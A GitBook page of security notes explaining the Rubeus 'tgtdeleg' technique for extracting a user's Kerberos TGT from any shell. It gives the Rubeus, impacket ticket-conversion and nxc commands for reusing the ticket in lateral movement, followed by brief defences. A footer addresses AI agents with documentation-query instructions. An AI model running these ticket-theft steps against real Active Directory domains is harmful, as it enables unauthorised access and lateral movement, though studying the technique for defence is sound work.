> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/rubeus-tgtdeleg-tgt-extraction-without-plaintext-credentials.md).

# Rubeus tgtdeleg — TGT Extraction Without Plaintext Credentials

In Active Directory (AD), **TGT delegation** refers to the Kerberos process of forwarding a user’s Ticket-Granting Ticket (TGT) to a backend service so the service can impersonate the user across the network. \[[1](https://www.manageengine.com/products/active-directory-audit/kb/attacks/unconstrained-delegation.html), [2](https://jumpcloud.com/it-index/what-is-kerberos-unconstrained-delegation)]

### What is tgtdeleg?

`tgtdeleg` is a Rubeus technique that extracts a **forwardable Kerberos TGT** for the currently logged-in user without knowing their plaintext password. It works from any shell — even a low-privileged one.

***

### How it Works

It abuses the **Kerberos GSS-API delegation** pathway (S4U2Self). When a process requests a Kerberos token for delegation, Windows issues a forwardable TGT as part of that process. Rubeus intercepts this ticket before it's used.

```
Shell (alham.rizvi, no password known)
        │
        ▼
Rubeus requests GSS-API delegation token
for cifs/DC01.domain.htb
        │
        ▼
KDC issues forwardable TGT for alham.rizvi
        │
        ▼
Rubeus captures and exports the ticket
```

***

### Usage

```powershell
# On Windows target (any shell)
.\Rubeus.exe tgtdeleg /nowrap

# Output includes base64-encoded .kirbi ticket:
# [+] base64(ticket.kirbi): doIF1DCCBd...
```

### Converting and Using on Linux

```bash
# Decode base64 to .kirbi
echo 'doIF1DCCBd...' | base64 -d > alham.kirbi

# Convert kirbi to ccache (Linux format)
impacket-ticketConverter alham.kirbi alham.ccache

# Use the ticket
export KRB5CCNAME=alham.ccache

# Verify
klist
nxc smb dc01.domain.htb -k --use-kcache
```

### Why This Matters

You don't need credentials to do Kerberos-based lateral movement. Any code execution gives you a usable TGT for the account running the shell — which you can then use with impacket, bloodyAD, or nxc.

***

### Defence

* Add sensitive accounts to the **Protected Users** group — this disables Kerberos delegation entirely for those accounts
* Monitor for unusual S4U2Self ticket requests in Kerberos event logs (Event ID 4769)
* Restrict which accounts can be delegated via "Account is sensitive and cannot be delegated" flag


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/rubeus-tgtdeleg-tgt-extraction-without-plaintext-credentials.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.